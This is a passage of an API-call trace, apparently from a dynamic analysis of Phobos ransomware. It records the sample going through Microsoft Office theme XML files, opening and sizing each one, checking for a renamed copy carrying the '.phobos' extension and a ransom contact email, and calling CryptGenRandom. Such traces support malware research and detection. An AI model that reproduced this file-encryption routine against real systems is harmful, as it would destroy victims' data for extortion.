files\\microsoft office\\root\\document themes 16\\theme colors\\paper.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.363] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0155.363] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Red Orange.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\red orange.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0155.364] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=744) returned 1 [0155.364] CloseHandle (hObject=0x528) returned 1 [0155.364] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Red Orange.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\red orange.xml")) returned 0x220 [0155.364] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Red Orange.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\red orange.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.364] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Red Orange.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\red orange.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.364] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0155.364] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Red Violet.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\red violet.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0155.365] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=744) returned 1 [0155.365] CloseHandle (hObject=0x528) returned 1 [0155.365] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Red Violet.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\red violet.xml")) returned 0x220 [0155.365] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Red Violet.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\red violet.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.365] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Red Violet.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\red violet.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.365] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0155.366] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Red.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\red.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0155.366] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=737) returned 1 [0155.366] CloseHandle (hObject=0x528) returned 1 [0155.366] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Red.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\red.xml")) returned 0x220 [0155.366] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Red.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\red.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.366] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Red.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\red.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.367] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0155.367] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Slipstream.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\slipstream.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0155.367] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=744) returned 1 [0155.367] CloseHandle (hObject=0x528) returned 1 [0155.368] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Slipstream.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\slipstream.xml")) returned 0x220 [0155.368] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Slipstream.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\slipstream.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.368] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Slipstream.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\slipstream.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.368] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0155.368] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Violet II.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\violet ii.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0155.369] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=743) returned 1 [0155.369] CloseHandle (hObject=0x528) returned 1 [0155.369] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Violet II.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\violet ii.xml")) returned 0x220 [0155.369] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Violet II.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\violet ii.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.369] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Violet II.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\violet ii.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.369] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0155.369] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Violet.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\violet.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0155.370] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=740) returned 1 [0155.370] CloseHandle (hObject=0x528) returned 1 [0155.370] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Violet.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\violet.xml")) returned 0x220 [0155.370] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Violet.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\violet.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.370] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Violet.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\violet.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.370] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0155.370] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Yellow Orange.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\yellow orange.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0155.370] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=747) returned 1 [0155.370] CloseHandle (hObject=0x528) returned 1 [0155.371] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Yellow Orange.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\yellow orange.xml")) returned 0x220 [0155.371] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Yellow Orange.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\yellow orange.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.371] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Yellow Orange.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\yellow orange.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.371] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0155.371] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Yellow.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\yellow.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0155.371] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=740) returned 1 [0155.371] CloseHandle (hObject=0x528) returned 1 [0155.372] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Yellow.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\yellow.xml")) returned 0x220 [0155.372] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Yellow.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\yellow.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.372] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Yellow.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\yellow.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.372] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0155.372] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Arial Black-Arial.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\arial black-arial.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0155.373] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=3529) returned 1 [0155.373] CloseHandle (hObject=0x528) returned 1 [0155.374] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Arial Black-Arial.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\arial black-arial.xml")) returned 0x220 [0155.374] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Arial Black-Arial.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\arial black-arial.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.374] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Arial Black-Arial.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\arial black-arial.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.374] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0155.374] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Arial-Times New Roman.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\arial-times new roman.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0155.375] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=3553) returned 1 [0155.375] CloseHandle (hObject=0x528) returned 1 [0155.375] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Arial-Times New Roman.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\arial-times new roman.xml")) returned 0x220 [0155.375] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Arial-Times New Roman.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\arial-times new roman.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.375] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Arial-Times New Roman.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\arial-times new roman.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.375] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0155.375] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Arial.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\arial.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0155.376] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=3504) returned 1 [0155.376] CloseHandle (hObject=0x528) returned 1 [0155.376] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Arial.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\arial.xml")) returned 0x220 [0155.376] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Arial.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\arial.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.376] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Arial.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\arial.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.376] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0155.376] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Calibri Light-Constantia.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\calibri light-constantia.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0155.377] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=3583) returned 1 [0155.377] CloseHandle (hObject=0x528) returned 1 [0155.377] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Calibri Light-Constantia.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\calibri light-constantia.xml")) returned 0x220 [0155.377] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Calibri Light-Constantia.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\calibri light-constantia.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.377] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Calibri Light-Constantia.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\calibri light-constantia.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.377] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0155.377] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Calibri-Cambria.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\calibri-cambria.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0155.378] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=3542) returned 1 [0155.378] CloseHandle (hObject=0x528) returned 1 [0155.378] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Calibri-Cambria.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\calibri-cambria.xml")) returned 0x220 [0155.378] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Calibri-Cambria.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\calibri-cambria.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.378] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Calibri-Cambria.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\calibri-cambria.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.378] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0155.378] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Calibri.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\calibri.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0155.379] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=3500) returned 1 [0155.379] CloseHandle (hObject=0x528) returned 1 [0155.379] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Calibri.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\calibri.xml")) returned 0x220 [0155.379] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Calibri.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\calibri.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.379] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Calibri.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\calibri.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.380] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0155.380] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Cambria.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\cambria.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0155.380] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=3556) returned 1 [0155.380] CloseHandle (hObject=0x528) returned 1 [0155.380] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Cambria.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\cambria.xml")) returned 0x220 [0155.381] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Cambria.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\cambria.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.381] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Cambria.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\cambria.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.381] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0155.381] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Candara.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\candara.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0155.381] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=3520) returned 1 [0155.382] CloseHandle (hObject=0x528) returned 1 [0155.382] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Candara.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\candara.xml")) returned 0x220 [0155.382] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Candara.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\candara.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.382] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Candara.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\candara.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.382] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0155.382] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Century Gothic-Palatino Linotype.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\century gothic-palatino linotype.xml"), 